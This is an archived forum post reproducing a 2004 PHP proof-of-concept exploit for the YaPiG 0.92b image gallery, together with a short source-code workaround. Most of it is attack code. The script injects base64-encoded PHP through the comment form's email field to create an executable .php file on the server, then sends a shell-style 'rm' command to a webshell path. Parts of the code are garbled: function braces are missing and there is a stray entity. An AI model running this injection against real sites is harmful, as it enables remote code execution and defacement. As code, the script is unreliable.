hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

Help - Search - Member List - Calendar
Full Version: Yapig 0.92b Add_coment Php Insertion
GovernmentSecurity.org > The Archives > Exploit Articles
qcred11
Aug 19 2004, 12:30 AM
QUOTE


#!/usr/bin/php

<?

/*

YaPiG 0.92b add_coment PHP Insertion Proof of Concept
By aCiDBiTS    acidbits@hotmail.com    07-August-2004


Description:

YaPiG (http://yapig.sourceforge.net/) is a PHP Image Gallery script.
This Proof of Concept creates a php file that echoes a notice.
First it determines a valid photo directory where to create the script.
Then creates a crafted comment saved in a new .php file. This comment
contains an encoded webshell. Once this .php file is opened, the code
contained creates test.php.

Usage (in my debian box):
php4 -q yapig_addc_poc.php "http://127.0.0.1/yapig-0.92b"


Vulnerability:

There is no user input sanization of some parameters in add_comment.php
and functions.php.This allows to create a file with any extension, and we
can
insert any code in it. Version 0.92b is vulnerable, I haven't tested older
ones.


Workaround. Modify this lines of code:

add_comment.php
line 105:
  $comments_file= $gid_dir . $gid . "_" . $phid;
Modify with:
  $comments_file= $gid_dir . $gid . "_" . intval($phid);

functions.php, construct_comment_line()
line 699-700:
  $linea=$linea . $data_array['mail'] . $SEPARATOR;
  $linea=$linea . $data_array['web'] . $SEPARATOR;
Modify with:
  $linea=$linea . htmlspecialchars($data_array['mail']) . $SEPARATOR;
  $linea=$linea . htmlspecialchars($data_array['web']) . $SEPARATOR;

*/


echo "+-------------------------------------------------------+\n| YaPiG
0.92b add_coment PHP Insertion Proof of Concept |\n| By aCiDBiTS   
acidbits@hotmail.com    07-August-2004
|\n+-------------------------------------------------------+\n\n";

$websh="<?php
\$f=fopen(trim(base64_decode(dGVzdC5waHAg)),w);fputs(\& #036;f,trim(base64_decode(PD8gZWNobyAnPHByZT4gXCAgLyAgICAgICAgICAgICAgICAgICAgIC
AgICAgICAgICAgXCAgLzxicj4gKE9vKSAgVGhpcyBnYWxsZXJ5IGlzIHZ1bG5lcmFibGUgISAgKG9PKT
xicj4vL3x8XFxcXCAgICAgICAgICAgICAgICA
gICAgICAgICAgICAgIC8vfHxcXFxcIDwvcHJlPic7Pz4K)));fclose(\$f);
  ?>";

if($argc<2) die("Usage: ".$argv[0]." URL_to_YaPiG_script\n\n");
$host=$argv[1];
if(substr($host,strlen($host)-1,1)!='/') $host.='/';

echo "[+] Getting valid gid & photo path ... ";
$webc=get_web($host);
$temp=explode(";gid=",$webc);
$gid=intval($temp[1]);
$temp=explode("photos/",$webc);
$temp=explode("/",$temp[1]);
$path=$temp[0];
if( !$gid || !$path ) die( "Failed!\n\n");
echo "OK\n    GID: $gid\n    Path: ".$host."photos/".$path."/\n\n";

echo "[+] Creating notice script file ... ";
send_post( $host."add_comment.php?gid=".$gid."&phid=.php",
"tit=a&aut=a&mail=".urlencode($websh)."&web=&msg=a&date=&send=Send");
$webc=get_web( $host."photos/".$path."/".$gid."_.php" );
send_post( $host."photos/".$path."/acidwebshell.php", "c=".urlencode("rm
".$gid."_.php") );
echo "OK\n    Now go to: ".$host."photos/".$path."/test.php";


die("\n\n    \  /        \  /\n    (Oo)  Done!  (oO)\n    //||\\\\     
//||\\\\\n\n");


function get_web($url)

$ch=curl_init();
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_HEADER, 0);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER,1);
$data=curl_exec ($ch);
curl_close ($ch);
return $data;


function send_post($url,$data)

$ch=curl_init();
curl_setopt ($ch, CURLOPT_URL, $url );
curl_setopt ($ch, CURLOPT_HEADER, 0);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt ($ch, CURLOPT_POST, 1);
curl_setopt ($ch, CURLOPT_POSTFIELDS, $data );
$data=curl_exec ($ch);
curl_close ($ch);
return $data;


/*              \    /
                (Oo)
                //||\\    */

?>



Source: http://www.securitytracker.com/alerts/2004/Aug/1010970.html
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.